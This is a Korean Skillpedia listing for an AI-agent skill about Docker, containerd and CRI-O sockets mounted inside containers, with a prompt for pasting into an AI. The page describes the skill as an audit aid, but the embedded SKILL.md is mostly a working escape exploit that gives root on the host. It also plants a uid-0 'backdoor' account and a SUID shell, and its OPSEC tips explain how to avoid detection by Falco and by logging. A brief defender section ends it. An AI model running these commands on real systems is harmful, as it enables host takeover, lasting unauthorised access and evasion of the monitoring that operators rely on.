본문으로 건너뛰기
Skillpedia
보안6.5k · #13989

docker-socket-mount

하는 일

이 스킬은 Docker나 containerd 소켓이 컨테이너 안에 마운트되어 사실상 호스트의 루트 권한을 주는 흔한 컨테이너 구성을 다룹니다. CI 러너와 GitOps 도구를 검토하는 플랫폼 및 보안 팀을 위한 스킬입니다.

사용하는 경우

  • ✓플랫폼 팀이 Docker나 containerd 소켓이 마운트된 컨테이너를 찾아 달라고 에이전트에게 요청할 때.
  • ✓에이전트가 이 노출을 위해 CI 러너, GitOps 컨트롤러, Docker-in-Docker 설정을 검토할 때.
  • ✓감사 보고서에 마운트된 소켓이 심각한 위험인 이유를 설명해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 CI 러너 컨테이너 중 내부에 Docker 소켓이 마운트된 것이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 각 러너의 컨테이너 마운트와 소켓 경로를 확인하고, 찾은 소켓을 보고하며, 호스트 수준의 위험을 설명합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Docker / Containerd Socket Mount Escape

A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.

Detect

ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1

Exploit — Docker socket

# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.

# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null

# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

Exploit — containerd socket

# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
  --mount type=bind,src=/,dst=/host,options=rbind \
  docker.io/library/alpine:latest escape sh -c 'chroot /host'

# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host

Exploit — CRI-O socket

crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.

Common attack contexts

Context Why the socket is mounted
Jenkins/GitLab CI runners Build Docker images inside the build container
ArgoCD / Flux Run pre-/post-sync hooks that build images
Docker-in-Docker (DinD) in K8s Same — build pipelines, kaniko alternatives
Diagnostic sidecars Container-level metrics/log shippers
Buildkit daemon w/ ungated rootless socket Same primitive, less restricted env

Persistence

# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x

OPSEC

  • The Docker API logs every container create (/var/log/docker.log or journald). Use a benign-sounding image name.
  • Falco rules attach_drop_capability, escape_to_host_namespace flag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather than docker run (multiple).
  • CRI-O auditing logs every RunPodSandbox — same evasion approach.

Detection (defender lens, useful for triage)

  • Pod-spec scanning (admission controllers — OPA Gatekeeper, Kyverno) blocks hostPath: /var/run/docker.sock at admit time.
  • Falco rule Mount docker.sock catches the runtime case.
  • AppArmor profile docker-default doesn't block this — needs custom profile.
자주 묻는 질문

마운트된 소켓이 왜 그렇게 심각한가요?

스킬은 소켓과 통신할 수 있는 사람이 호스트의 파일을 가진 특권 컨테이너를 시작할 수 있으며, 이는 호스트 루트 권한과 같다고 설명합니다.

가장 흔한 설정은 무엇인가요?

CI 러너, ArgoCD와 Flux 컨트롤러, Docker-in-Docker, Jenkins 에이전트를 나열합니다.

이 문제는 어떻게 해결하나요?

마운트를 제거하거나 더 안전한 빌드 도구를 쓰라고 스킬은 권하며, 해결 방법은 팀이 결정합니다.

상세 정보

작성자의 원본 설명

Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13989
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬